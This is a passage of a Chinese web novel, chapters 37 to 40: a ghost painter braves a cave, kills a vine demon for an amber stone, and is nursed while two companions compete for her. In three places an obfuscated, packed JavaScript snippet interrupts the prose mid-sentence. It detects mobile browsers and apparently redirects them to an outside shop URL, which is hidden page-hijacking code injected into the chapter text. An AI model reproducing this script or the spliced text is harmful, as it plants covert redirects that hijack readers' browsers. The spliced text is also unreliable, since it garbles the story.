“是……”宋清河似乎是被她安慰道,抬眼问道,“你呢?可曾喜欢过什么人?又是怎么事在人为的?” “我吗?那还真没有过。”百灵坦诚道,“我只喜欢过我画出来那些假人们……” “从前有个毁容的男子,我帮他画皮,恢复了他的脸,然后他给我摘了一束野花,说他喜欢我,要娶我为妻。” 百灵绞尽脑汁回忆着往事。 “后来我和他短暂在一起过一阵子,因为才一直夸我画皮画得很好,而且还会帮我一起寻找合适的材料,替我买上好的画笔。” “不过后来我们还是分开了,因为我发现我好像没有我想象中那样子喜欢他,想着他,离不开他,想时时刻刻都和他在一起。” 宋清河安静听完,启唇道:“所以你因为感动才和他在一起的,你以为这种感动就是喜欢,对吗?” “嗯嗯,就是这样。”百灵连连点头,“你也太厉害了吧。” “你可别忘了,我家里是做什么的,真情还是假意,我一眼就能看出来。” “那我以后我若是喜欢上了谁,一定要先来问问你。”百灵崇拜道。 “有这么一个人出现了再说吧。”宋清河虚虚应下。 “对了清河。”百灵兴致高涨,逮着她继续追问,“那依你看,叶知舟对白夭夭是什么想法?” 她心中一直有这个疑惑,叶知舟对夭夭很不一样,按理说他这样的人,但凡有人敢对他出言不逊,肯定不会有好下场。 可夭夭三番五次的挑衅他,他却不痛不痒,好似并不在意。 “这两个人,都不是很正常。”宋清河点评道,“从这点上来看,他们倒也相配。” “相配?”百灵瞪大了双眼,像是听到什么很可怕的话,“这也太荒谬了吧,他们怎么可能……” “有的时候,不可能往往是最有可能的,让那些看似可能的,实际上确是假象。”宋清河的解释云里雾里。 百灵自然听不明白,但她也不想再问下去了,无论如何,她都不想也不愿白夭夭和叶知舟在一起。 …… 马车断断续续走了两日,她们便在目的地附近落了脚。 那个藏着琥珀石的地方明明是个地下洞穴,却叫做迷谷。 “迷谷向阴而生,我们要等到晚上,白日是寻不着的。” “好。” 入夜后,宋清河便领着百灵来到一处密林,兜兜转转了几圈,终于在一棵不甚起眼的树前停下。 百灵坐看右看,都没有发现入口。 “这迷谷须得见血才可进入。”宋清河解释道。 “血?可我们是鬼,不会流血啊……” “我早就备好了。”宋清河从怀里掏出两袋新鲜血液,扔给了百灵一袋,“这是雄鸡血,辟妖邪。” “你从哪里弄来的?”百灵讶然。 “这里是交界处,总有些见不得人的灰色交易,我托人从妖怪那里买来的。” “哦哦,可我们进入这迷谷,用得着这么多吗?”百灵掂量着手中并不轻的血袋。 “我们不是第一个闯入迷谷的人,传说下面有妖怪,多带点以备不时之需。”宋清河说的云淡风轻。 “妖怪?”百灵知道此行危险,但从宋清河嘴里说出来如此轻而易举,未免也太过淡定了。 “怎么,你害怕了。”宋清河看出她的犹豫,“现在反悔还来得及。” “来都来了,我不会走的。”激将法让百灵更加坚定。 “那你准备好了吗?” “准备好了。” 话落,宋清河便用指尖蘸取了一点鸡血,殷红的血珠立刻滴落而下。 片刻便卷起了一阵强风,百灵还未反应过来,只觉脚下一空,再次踩到地上时,已是进了这迷谷之内。 迷谷内黑的让人辨不清方向,但百灵能感觉到身旁有人,她低声道:“清河?” “我在。”侧边传来熟悉的声音,“迷谷是在地下,我们看不见,注意听四周动静,务必小心谨慎。” 百灵问:“为何不点火?” 宋清河道:“火光可能会唤醒妖怪,我们不同她交手,是最为保险的。” 百灵血袋子往怀里一踹,轻声道:“明白。” 在隐秘的黑暗角落中,一根藤条沿着石壁悄无声息爬了上来。 初入迷谷极为狭窄,她们二人只能一前一后背身而走。 她们走得极慢,生怕打草惊蛇,石壁是粗糙嶙峋的,尖锐刺手,脚下也是凹凸不平,她们无处借力,只能缓步前进。 百灵手中紧握着小刀,每一步都小心谨慎。 如此之黑,别说找什么琥珀了,就连前进都成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083416|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 困难,实在是大海捞针。 百灵刚想问宋清河是否知晓琥珀的大概位置,忽然觉得手中一凉,似是被什么东西缠上了,继而又一紧,背在肩上的包袱被那不明之物用力地向外拽去。 她倏地收手,手腕在半空中翻转半圈,只听“啪嗒”一声,那缠绕手中的东西瞬间被割破落了地,小刀也被牢牢握在了掌心。 从入手的触感和落地的声音,百灵猜到那十有八九是藤条。 会动的藤条?是藤妖吗? 她知道动静本不应太大,可从那藤条触手的一刻起,她们就暴露了,正面交锋是迟早的事。 宋清河也察觉到周围的异动,和百灵同时停住了脚步。 既然已经露馅了,而如今敌在俺我在明,宋清河一不做二不休,将鸡血泼洒开来。 血腥味瞬间弥漫这个狭小的空间,四周早就埋伏许久的藤条疯了般朝她们二人伸出魔爪。 藤条比想象中的更有韧性,但靠着周延玉的妖力加持,百灵单手持刀,灵活劈砍着缠人的藤条,还算得心应手。 宋清河这边也是应付的游刃有余,鸡血灼烧了大半的藤条,她自己身上也是血腥味食物,藤条根本不敢近她的身。 虽然着藤条暂时对二人构不成威胁,但藤条数量极多且源源不断,难缠得很。 百灵正想着脱身之计,头顶猛然劈下一张藤网,她和宋清河本就是背身而战,被此藤网一惊,皆是下意识往身前一跃。 等到再次回身时,那藤网便与地上钻出的藤枝连成了一片,正好将她们二人分开了。 “清河!”百灵持刀欲上前破此藤网。 另一边的宋清河也试图扒开此网。 可这藤网不比那藤条,它由无数根藤条交错构成,极为细密,几乎没有间隙,坚硬无比。 两个人努力许久,才破开一个微小的洞。 “别白费力气了百灵。”宋清河叫停了她的动作,“你听我说,单凭你我二人蛮力,破开此网怕是要浪费不少时间,我看我们还是分头行动吧。” 百灵拧眉道:“那怎么行?不破这藤网,我们到时候怎么汇合啊?” 话音刚落,对面穿了一阵窸窸窣窣的声音,藤网忽地收紧,似是将宋清河包了起来。 “清河?” “我没事!”宋清河的声音骤然缩小,透过藤网艰难传出,“不用担心我,我一人可以想办法出来,只是需要些时间。” 百灵抿唇,她望了眼身后方,并不是回去的方向,而宋清河那一边,才是来时的路。 既然已经进来了,就没有回头路。 “清河。”百灵沉声道,“我先去找琥珀,你在此等我回来同你汇合。” “好,你务必小心......” “如果我看见合适的,也帮你找一颗。” “多谢。” 百灵深入往里走了一段路,比之前更加谨慎,奇怪的是并没有再看见任何藤条了。 脚下的触感也不知不觉变了。 脚踩着是一片软湿的土地,她走着走着,忽然足下一硬,她惊得即刻立在原地,停滞不前。 她足足等了半刻钟,没有任何异常发生。 徐徐将手伸进怀里,她蹲下身,轻轻移开了脚。 竟是一颗花珀! 她凝神仔细端详,那透明金棕松脂里,正包裹这一朵娇艳红花,盛放在她的眸中。 有些出人意料,这么快就找到了花珀,不过现下她也来不及细想,伸出手想将这嵌在地上的花珀取出。 38. 第 38 章 “啊——” 一阵尖锐惊叫声从底下乍然传来,吓得百灵猛地往后一撤,险先仰倒在地。 她眼睁睁看着那花珀转了半圈,旋即飞速拔地而起,连着牵出一个骇人的人形出来。 她被那人形状的异物从地上直直弹开了几尺远,接连滑了几步才勉强稳住身形。 直到那人形完全拔地而出,她才看清眼前景象。 她想的没错,这是一个成精的藤妖,它周身上下皆被藤条缠住,但脸却是个美艳女子的长相,和她那藤条撑起的躯体格格不入。 “哪来的不长眼的东西?敢打扰老娘睡觉!” 百灵忙收起了小刀,朗声道:“我是来寻物的,无意惊扰您,还请您高抬贵手放过我一马。” 先认怂总不会有事,好歹能拖延一会。 藤妖半睁着眼,三两下就移到了百灵面前,冷冷道:“你来这找什么?不会是那千年花珀吧?” 见百灵沉默不语,那藤妖又道:“死心吧,来这找花珀的人没有一个能活着出去的。” 百灵假意诚心道:“听您的意思,是知道花珀在哪吗?我其实知道自己是拿不到这花珀的,但是听闻这花珀清莹秀澈、流光四溢,就想来见识一番。” 那藤妖轻笑一声,“有意思,竟还有你这样的人。” 百灵继续道:“若是此生能见一面,也是死而无憾了。” “死而无憾?”藤妖忽然来了兴致,引出一根藤条缓缓抬起百灵的下巴,凑近道,“你仔细瞧瞧,看我这左眼生的如何?” 百灵抬眸与其对视,甫一看到她的左眼,就惊得窒息片刻,那分明不是一只眼睛,而是她刚才在地上看见了那颗花珀。 这藤妖竟然将花珀做成了自己的眼睛,和她倒是心有灵犀,只是眼下取花珀的事就变得更加棘手了。 这居然是千年的花珀,她下定决心,势在必得。 “哈哈哈——” 藤妖松开了百灵,狰狞大笑:“你不用在这和我演戏了,我知道你是想来拿我的花珀,可惜了,这花珀已经成了我的眼睛。” “不过嘛......”藤妖变脸似的含笑道,“你不一样,我愿意用这花珀和你交换一样东西。” 百灵警惕道:“什么东西?” 藤妖转过身来,盯着百灵一字一顿道:“我要你这张脸。” 百灵收回视线,低头看着地上若有所思。 “你运气不错,这张脸长得正合我意。”藤妖勾唇笑道,“我这脸也用了好多年了,是时候该换一张了。” 百灵轻叹一声,合上双眼,缓缓抬起头道:“你拿去吧,若是这花珀能长在我这张脸上,也算是拥有了它,我也就无怨无悔了。” 她又颤抖道:“只求求你,下手轻一些,不要让我那么痛苦。” 藤妖大喜,瞬移到百灵面前,伸出几根藤枝攀上了她的脖子。 凝神,等待时机...... 扑面而来木质气息,灌满了她整个鼻腔,百灵暗自吸了一口气,身后的手缓缓挪动。 颈上是藤条已经缠住了她整个脖子,随时准备发力拧断她的喉咙。 就是现在! 她猛然提手一挥,在半空中划出了一道凌厉弧线,尖锐的雕刻刀从藤妖的后脑勺刺入,精准从左眼而出。 “啊!” 藤妖飞速抽回藤条,盖住被刀刃划破的眼睛,她瑟缩着身子,模样狼狈不堪。 随着藤妖仓皇闪躲的,还有从她左眼脱落的那颗闪着金光的花珀。 无暇顾及藤妖反应,她倏地上前一手掠过即将落地的花珀,旋了半身,拔腿就跑。 也不知道清河挣脱那藤网没,若是挣脱了,她们正好可以一齐逃出去。 只是可惜了,她没有发现第二颗。 从她逃走的那一刻开始,无数的藤条就从四面八方,蛛网般铺天盖地撒来,而那藤妖,自然也紧追其后。 百灵在绝境中被逼出了毕生最快的速度,周延玉传递给她的妖力,如决堤之水疯狂被吞噬消耗。 她灵活自如地穿梭在愈发密集的藤条之中,不过片刻,她就见到了出路的光,但她并未看到宋清河,不过她眼下自顾不暇,别无选择。 她定身半瞬,蓄力一跳,眼见就要触到,忽然脚下一滞,整个人被狠狠摔了下来。 还是慢了一步....... 藤条像一双金刚铸的铁手,拖着百灵粗暴地在地上摩擦。 过道狭窄,藤妖报复似的将她来回撞在坚硬是石壁上,她只得以双手护住头。 口腔里满是血腥味,是一开始被砸下来时,下巴重重磕到地上,以致舌头被牙齿咬破了。 在一次尤其沉重的撞击后,她的左臂传来一声清晰的“咔嚓”,剧痛瞬间淹没了其他知觉。 她死死咬住下唇,将痛呼闷在喉间,只剩下护住头颅的本能。 当藤条终于停止攻击,将她缠裹着提起时,她浑身软得像一摊泥,唯有意志还在苦苦支撑。 “倒是我小瞧了你。”藤妖居高临下怒视百灵,抽了抽嘴角,“这脸倒是难得你护住了,不过你确实惹恼了我,本来是可以痛快的去死,现在我改变主意了。” “我要好好陪你玩玩。”藤妖牵出了她手中攥紧的花珀,当着她的面将小刀抢过,远远抛到了后面,咪着残破的双眼,狰狞笑道。 语毕,那包围百灵的藤条骤然收紧,她能清晰的感觉到藤条上的尖刺密密麻麻扎进她的皮肉之中,不伤及要害,却极为痛苦。 “你不会流血,但身上却有妖力,真有意思。” 藤妖仔细打量着她:“你一只鬼,竟然和妖勾搭上了?” “我劝你快点收手,我勾搭上的这支妖可不一般,他马上就来救我了。”百灵疼得眉头紧皱,浑身颤抖,语气却是坚定地威胁。 “是吗?”藤妖并不相信,放肆大笑,“他在哪儿呢,赶紧出来呀,来杀了我呀!” “他……他马上就到。”百灵的气息越来越乱。 “那他可见不到你了,你知道你现在这个地方离我们妖界有多近吗?”藤妖凑近她的脸,低语道,“想试试灰飞烟灭是什么滋味吗?” 藤妖牵起一根藤条掐住百灵的下巴,狞笑道:“等我先活剥开了你这张脸,再把你投入到妖界去。” 百灵半睁着眼,并不去看她,一副气息奄奄的样子。 脑中思绪飞速流转,她须得尽快找出对策。 “快救我!” 她蓦地睁开双眼,对着藤妖的身后大声喊叫。 藤妖也立刻应声回头。 就在藤妖转头的刹那,求生的意志如同最后一道闪电劈开了意识的混沌。 百灵猛地吸了一口气,不顾四肢百骸传来的、几乎要让她晕厥的剧痛,用尽最后的力气将身体狠狠向前一挣。 藤条上的尖刺扎破了血袋,鸡血涌出,烧断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086983|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了束缚她的藤条。 藤妖也因灼烧带来的痛苦僵直了身体。 她蓦地向后一退,身子却不受控制的发软,跌坐在地。 被缠了太久,突然松开了,她还有些不适应。 “我要你死!” 意识到自己中计的藤妖恼羞成怒,身后的藤条像披散着的头发,顷刻间拧成了硕大的一股,直指地上的百灵,飞坠而下。 “砰!” 没时间起身,百灵翻滚半圈,侥幸躲过,回首只看见身侧一个狰狞的大洞,若是她没逃过,现在应该被砸成肉泥了。 那藤枝重新聚集,不过片刻又汇作一团,拧头朝着百灵劈去。 不能再躲下去了,百灵将仅剩的鸡血涂抹擦拭,浸满了整只双手。 稍偏头闪过一股藤束的进攻,借着墙面的缓冲,她一把抓住了那根藤枝,又借力往石壁上狠狠一蹬。 没有片刻犹豫,她将所有残存的力量与周延玉的妖力一并灌注手臂,将那根沾血的藤枝化作一柄长矛,对准藤妖的腰腹位置,孤注一掷地猛刺进去。 这一连贯的动作一气呵成,藤妖甚至都没来得及吼叫一声,就被自己的藤枝穿透了。 那不是一般的藤枝,而是带血的。 藤妖睁大双眼,不可思议看着自己的身体不受控制分崩离析。 “怎么可能,你只是一只鬼……” 说完最后一句话,它轰然倒塌。 百灵赌对了。 就在藤妖因剧痛而僵直的刹那,百灵脑中电光石火般闪过一个念头,周延玉曾告诉过她,草木精怪的妖丹所在,往往反其道而行之,不在头颅和心脏的位置,而在根系或支撑躯干的要害之处。 她的目光瞬间锁死在藤妖腰腹之间,无论这藤妖上身如何狂舞,下身始终如同老树盘根,稳稳定格在原处,周遭的藤条更是编织得密不透风,远超其他部位。 那不是普通的紧密,那分明是一种本能的、重重设防的守护。 轻轻擦了一把脸上的鸡血,虽然她看不清自己现在是个什么样子,但是用脚趾头想想就知道,在地上拖来拖去,还被藤条缠了许久,绝对狼狈极了。 她艰难拖着双腿,捡起那颗流光溢彩的花珀。 就在她指尖触碰到宝石的瞬间,整个洞穴似乎发出了一声沉闷的呻吟,头顶的石壁簌簌落下细小的碎石。 百灵怕自己睡晕过去,差不多歇息片刻,就扶着墙起了身,准备离开这鬼地方。 屋漏偏逢连夜雨,她的手一触到这墙,就明显感到墙面在晃动,力度由轻到重,直到肩头被几个小石子砸到,她才意识到这迷谷原来是要塌了。 又几颗石头落在了她头上,身子猛一机灵,不知从哪来了力气,孤注一掷拔腿朝着来时的方向狂奔。 下面实在太黑,她一个不注意,忽然脚底被什么硬物一绊,身子往前一倾,本想试着抓住石壁上的什么东西,却莫名扑到了一个温暖坚实的怀中。 “……百灵?” 听到熟悉的声音,她忽然安心了,用力抓住了眼前这人。 她的头被一只手牢牢护住,整个人都被紧紧抱着,耳边是碎石不停掉落的声响,但却越来越弱。 “清河,她……” “她已经安全了。” 确认完这件事,百灵如释重负。 直到久违的月光重新洒落在她的头上,她才软了身子,合上双眼,放心沉沉睡了过去。 39. 第 39 章 天渐破晓,万籁俱静,灰青色的天朦朦胧胧,少顷,东方天际浮起一片鱼肚白,向远方蔓延。 晨露微凉,带着些许寒意,从虚空的某一点滴落少女的脸庞,将她从迷惘中唤醒。 百灵睁开眼,发现自己正躺在周延玉怀中。他低垂着头,眉心微蹙,睡得似乎并不安稳。 “小骨……”她嗓音沙哑,轻轻唤了一声。 周延玉立时惊醒,抬眼看向她:“醒了?感觉如何?” 百灵动了动因睡久了有些麻木的身子,疼痛便像潮水般从四面八方涌来。 “好痛……”她忍不住抽气。 “现在知道痛了?”周延玉声线冷冷的,带着几分埋怨道,“你左手臂都断了知道吗?” “知道。”百灵扯出一个虚弱的笑,费力抬起尚能活动的右手,掌心托着那枚花珀欣慰道,“你看,我找到你的眼睛了。” 周延玉从她掌心拈起那枚险些用命换来的琥珀。澄澈的晶石在熹微的晨光中,流转着温润的光华。 “就为了这个,值得吗?” “值得。” 千年生长的花珀,她断了只手又算什么? 百灵觉得这个买卖已经占了天大的便宜。 “如果带上我,事情会顺利很多,你没必要自讨苦吃。”周延玉还是介意百灵拒绝和他同行。 “我就想自己试试,就算真的失败了,我也认了。”百灵气息微弱,眼神却清亮。 “你确定吗?如果真的失败了,你现在早就魂飞魄散了。”周延玉不解。 “我知道,来之前我就想过最糟糕的结果会是什么,我愿意接受。”百灵道,“我太了解我自己了,如果不来的话,一定会后悔的,总有一天也会来的。” 周延玉又看向那颗小小的石头,他只要稍稍一用力,就能让它化成齑粉。 可这样美丽又脆弱的小玩意,背后却装着百灵突破极限的勇气和决心。 只为了成就他身体上一颗眼睛。 他缓缓收拢手指,将花珀紧紧握入掌心。那冰冷的触感,竟生出一种灼人的温度,沉甸甸地压在他心头。 “小骨,”百灵累极,半合上眼,将额头无力地抵靠在他胸前,“身上还是痛,我想再睡会儿。” “睡吧,我在。” 他环着她的手臂不着痕迹地收紧了几分,为她寻了个更安稳的姿势倚靠。 …… 与此同时,宋清河也从疲惫中醒来。 她昨夜费了好大的功夫弄破藤网逃了出去,本想往前去找百灵汇合。 可她才走没多久,就感觉到周围石壁剧烈震动。 还没见到百灵的人影,也没发现琥珀,她愣在原地,进退两难。 就在她终于咬牙决定向前时,周延玉出现了。 他焦急地追问百灵的下落,随即催促她立刻离开,自己却头也不回地冲向震动传来的深处。 宋清河没有马上走,而是退回到出口处等待两人。 可当她终于等到他们时,看到的却是满身鲜血、奄奄一息的百灵,脸色惨白地倒在周延玉怀中。 她整个人僵在原地,脑子里一片空白。明明是一起完好无损地来的,怎么出去时竟成了这般模样?究竟发生了什么? “还愣着干什么!这洞要塌了,快走!”周延玉的喝声将她惊醒。 直到双脚重新踏回地面,她仍觉得这一切虚幻得像一场噩梦。 和百灵一样,来这里之前她也做了最坏的打算。 但那个最坏的结果是她们二人一起葬身于地下,而不是现在这样。 她安然无恙,百灵生死难料。 “她……她怎么样了?”宋清河艰难地挪动脚步,声音发颤地俯身查看。 当她撩开百灵的衣袖,看到下面密密麻麻的孔洞时,心猛地一沉。 她是鬼,身体还在,是不会死的吧…… 可是万一,万一在她面前的只是一句躯壳呢? 他比宋清河更加慌乱无措。 他不知道鬼不会流血,以为百灵满身的血都是她自己的。 原本完好的衣衫此刻被暗红色的血液浸透,黏腻地贴在她的皮肤上,分不清是汗是血。 裸露在外的肌肤,没有一处完整,看得人脊背发凉。 看着那些触目惊心的伤口,他不敢去想最坏的结果。 “怎么会这样……”周延玉的脑中一片轰鸣,只有一个念头在疯狂撞击,他终究还是来晚了一步。 他看着她苍白如纸的脸,自责与恐惧像两条毒蛇,死死缠住了他的心脏,几乎让他无法呼吸。 他想抱紧百灵,感受她是否还有体温,又怕力道太重弄疼了她,可若是抱得太轻,百灵又像被抽去了骨头般向下滑落。 重也不是,轻也不是,他徒劳地调整着姿势,试图缓解内心的焦灼与惶恐。 最终还是宋清河鼓起勇气,俯身将耳朵贴在百灵胸前。 最终还是宋清河勇敢迈出了那一步,她将耳朵贴在百灵的胸口。 在令人窒息的寂静中,过了许久,才传来极其微弱的—— “咚……咚……” 心跳声微弱得几乎难以捕捉,但这已经足够了。 “……她还活着。”宋清河缓缓吐出这几个字,心头那块压得她几乎窒息的大石,终于落了地。 闻言,周延玉几乎停止跳动的心脏猛地一缩,随即恢复了跳动。 他闭上眼,将一声哽咽压回喉咙,俯下身,用自己的额角轻轻贴住百灵冰凉的额头。 “坚持住,”他用只有两人能听到的气音恳求着,颤抖道,“……别放弃。” 等到二人情绪稍稍平复,宋清河劝周延玉先带百灵寻个住处好好歇息。 周延玉却摇了摇头。 方才他稍稍调整姿势,怀中的百灵便无意识地蹙起眉头,即便在昏迷中,身体仍因疼痛而微微颤抖。 她说不出话,可每一个细微的反应都在告诉他,她很疼。 他舍不得让她再经受一丝颠簸。 “我就在这里守着她。”他的声音低沉却坚定,“你先走吧。” 于是他就这样抱着百灵,在夜色中坐了一整夜。 …… 回去的路上,三个人在马车内,一言不发。 气氛有些微妙的尴尬。 百灵已然清醒,但伤势未愈,面色依旧苍白,整个人虚弱地倚着。 自迷谷脱险后,周延玉便如影随形地守在她身侧,寸步不离。 就像此刻,她其实并无睡意,却仍被他小心翼翼地揽在怀中,用身体充当她的枕头。 “我有点饿了……”睡了许久未进食,百灵的肚子不争气地叫了起来。 “正好,我给你准备了粥。” 宋清河贴心拿出包裹严实的食盒,从里面取出一碗温热的粥。 “太好了。”百灵刚要直起身子,周延玉已抢先一步,轻柔而稳固地扶正了她。 “那个……”百灵有些不好意思,“其实我可以自己来的,没那么娇气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095530|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。”周延玉淡淡应下,眉眼低垂,看不出有什么情绪。 她转过身,正要伸手接碗,宋清河却已舀起一勺,仔细吹凉后送到了她唇边。 “你忘了你的手伤了吗?”宋清河语气温和却不容拒绝,“别逞强了,快喝吧。” “好吧,那就麻烦你了。”宋清河说的没错,她一只手确实不大方便。 只是这照顾未免太过周到,每一勺都要吹至适宜温度,甚至细心为她拭去唇角残渍,如同呵护孩童一般。 “宋小姐,还是我来吧。”周延玉忽然开口,竟是和宋清河抢活,“你这个身份做这种事,不太合适。” 周延玉说着就要上手拿碗,似乎没有要等宋清河回应的意思。 “百灵是为我才来的迷谷,她受伤了我理应照顾。这点小事,我还做得来。”宋清河手腕轻转,避开了他的手。 周延玉的手悬在半空,气氛一时凝滞。 “我是她的学徒,徒弟照顾师父天经地义,还是我来比较合适。”周延玉分毫不让。 “粥是我买的,还是我来吧。”宋清河也依旧坚持。 百灵哭笑不得,这俩人怎么跟一碗粥给杠上了? “你们别争了。”眼见僵持不下,百灵只好出面表态,“要不这样吧,清河先喂我半碗,然后剩下的让小骨来吧。” “……好。”两人异口同声,目光在空中短暂交锋。 最终,这碗粥在两人交替手中见了底。 喝完粥,困意猝不及防涌了上来,她很想靠着什么睡会。 但她突破意识到一个问题。 现在她坐在两个人中间,到底是选择靠宋清河的肩膀还是小骨的呢? 这两个人不会又要因为这肩膀争起来吧…… 那她这回总不能睡一半起来再换一个肩膀靠吧。 思来想去,她索性端正坐姿,打算靠着身后硬邦邦的车壁将就一下。 她闭上眼,很快沉入梦乡,原本挺直的脑袋随着马车颠簸开始不受控制地左右摇晃。 不过片刻,周延玉与宋清河极有默契地同时伸手,都想将她的头轻轻按向自己肩头。 “放手。”宋清河语气骤冷。 “该放手的是你。”周延玉毫不客气地回敬。 “小骨,你只不过是百灵的学徒,难道不觉得你的举动有些逾矩吗?”宋清河尖锐道。 “这你管不着。”周延玉完全不在意。 “大家都是女子,你何必对我如此防备?我还会吃了她不成?”宋清河轻声质问。 “我不管,我是她的人,就该由我照顾。”周延玉坚持拿自己的学徒身份做文章。 “那又如何?”宋清河轻笑一声,忽然倾身逼近,一字一句如惊雷炸响,“你是她的人,你和她一起洗过澡吗?互相擦过背吗?知道她身上有几颗痣吗?” 宋清河理直气壮三连问直接将周延玉当场石化。 “你们……你们一起……”他不可思议重复着她的话。 “是啊,我们之间,早就亲密无间。”宋清河扬起下巴,语气中带着几分胜利者的从容,“这回就让给你吧,反正我也不差这一次两次的……” 她轻飘飘的话语却像淬了毒的针,精准刺入周延玉心口。 百灵终于安稳地靠在了周延玉肩头,睡得无知无觉。 凝视着她安心的睡颜,周延玉心中五味杂陈。 她们竟然……已经坦诚相见到如此地步。 明明她们都是女子啊,为何自己会这么介意呢…… 40. 第 40 章 周延玉离开的这几日,卫影一直在焦灼中等待。 百灵前脚才走没多久,周延玉就准备在背后偷偷跟踪,想暗中保护她。 在卫影极力阻止下,他才没有冲动行事。 可他最后还是偷溜出去了,只留给卫影一句“我自有分寸”。 卫影心中暗怨,却又无可奈何。 君上近来行事愈发感情用事,竟将探查叶知舟的正事搁置一旁,反倒对一个画皮师如此上心。 而是他本想代替君上前去察看她们的情况,周延玉放心不下,还是自己去了。 更令他感到奇怪的是,周延玉按理说去了离他很远的地方,自己应该很难感受到他的存在。 可那股来自周延玉的强大力量,却始终伴随左右。 等他回来一定要问个清楚。 “有人在吗?” 门外忽然传来女子的声音。 听起来似乎有点耳熟,但想不起是谁了。 卫影走到门口,并未着急开门,而是确认道:“你是哪位?” “白夭夭,我找百灵。” 白夭夭,他想起来了,是上次宴会上那个说话夹枪带棒的姑娘。 看起来她似乎很讨厌叶知舟,应该不会是他派来的人。 分析完白夭夭的身份,他放心开了门。 “百灵不在,她出去了。” “出去了?那你知道她什么时候回来吗?” “她出远门了,具体什么时候回来我也不知道。”卫影诚实道。 “那好吧……”白夭夭沮丧道。 “你找她有什么事吗?我可以帮你传话。”卫影好心帮忙。 “真的吗?那太好了。”白夭夭又打起精神,“你就帮我问问她,上次明明说好了要回来找我,怎么说话不算话呀?” 她说的是那次宴会结束,百灵搀扶着周延玉时给她的留言。 她本来听信了宋清河的话,没坐多久就离开了,可是后思来想去觉得百灵不会是那样的人,因此又折返回来,但还是不见人影。 所以她想来确认一下,到底是百灵真的没有来,还是说她们刚好错过了。 “好的,我会把话带到。” “多谢你了。”白夭夭扬唇笑道,“对了,我没记错的话,你是宋清河的学徒吧?” “……是的。” “那我可不可以再麻烦你一件事?”白夭夭抬起双手,摆出一个祈求的姿势,“我让你传的话,你可千万别告诉她。” “嗯,我知道的。” 就算白夭夭没有提醒,卫影也不会主动和送清河提起。 “你真是个大好人。”白夭夭感激不尽,“比百灵的学徒强多了。” “……”卫影一愣,没想到白夭夭竟把他和周延玉放在一起作比较。 从前在妖界,周延玉事事都要强他一头,他既崇拜他,同时也在他的阴影底下生活了很久。 “我吗?没有吧。”他还是不敢相信白夭夭的话。 “对啊,就是你,我白夭夭可从来不说谎。”见他腼腆模样,白夭夭立刻鼓励道,“你真的比那个什么小骨强多了。” 她不仅又夸一遍,还举出了例子,“你看看你上次多么贴心啊,一会儿是给宋清河剥蟹的,一会儿是劝酒的,做得可太周到了。” “那些都是……分内之事。”卫影不好意思道。 “能把分内之事做好已经很厉害了,不像某些人,拎不清自己的身份。” 卫影已经没有心思去想她这话中的某些人到底是谁,只沉浸在白夭夭有声有色的表扬中。 “你都做得这么好了,他们还不领情,我看啊,你就应该另寻新主。”白夭夭心底仗义的一面被彻底激发,说个没完。 “这……这怎么行呢?身为下属,就应该忠心耿耿。”卫影连忙摇头否认。 “忠心耿耿是没错,那也得看效忠的那个人值不值得呀。” 两人之间的对话已经彻底错位,白夭夭心中想的是宋清河,而卫影想到的则是周延玉。 “这我得好好想想……”卫影若有所思。 “自信大胆点,这有什么的!”白夭夭继续拱火,“你可是冷面郎君啊,给他们点颜色瞧瞧!” “……冷什么?”卫影被这突兀的称号惊得语塞。 “冷面郎君呀!你还不知道吗?”白夭夭眉眼弯弯,“上次游街,不知多少姑娘为你丢了魂,这称号都快传遍啦!” “丢了魂?为我?”卫影再次讶然。 “对啊,他们不喜欢你干嘛跟给你丢花呀,你以为她们闲着无聊没事干呢。”白夭夭也惊讶于眼前人的单纯。 “你知道吗?像你这种面冷心热的好人,可是很难得的,扔到大街上多少姑娘抢着想和你结冥婚呢!” “……” 白夭夭的话语一句比一句惊人,卫影僵在原地,只觉得脸上都有些发烫。他憋了半晌,才终于挤出一句: “多……多谢告知,白姑娘。” …… 当晚,百灵一行三人拖着疲惫的身躯归来。 见百灵手臂受伤难以自愈,宋清河便主动接手,带她回房修复。 周延玉目光沉沉地看着二人离去,终究没说什么,独自转身回房。 他前脚刚踏入房门,卫影后脚便跟了进来。 他只看见周延玉一人,便问道:“她们二人呢?可还好?” 想起这一路的起伏,末了周延玉只化作淡淡一句:“还好。” “那就好。”卫影松了口气,随即提起心中疑虑,“最近有个奇怪的事,你们明明去了那么远的地方,可我总能感觉到你的气息。” “因为我的妖丹留在了这里。”周延玉云淡风轻道。 “什么?这么重要的事我怎么不知道?你怎么也没提前交代我给你保管好。” 卫影实在没想到,周延玉胆子这么大,这里可是叶知舟的地盘。 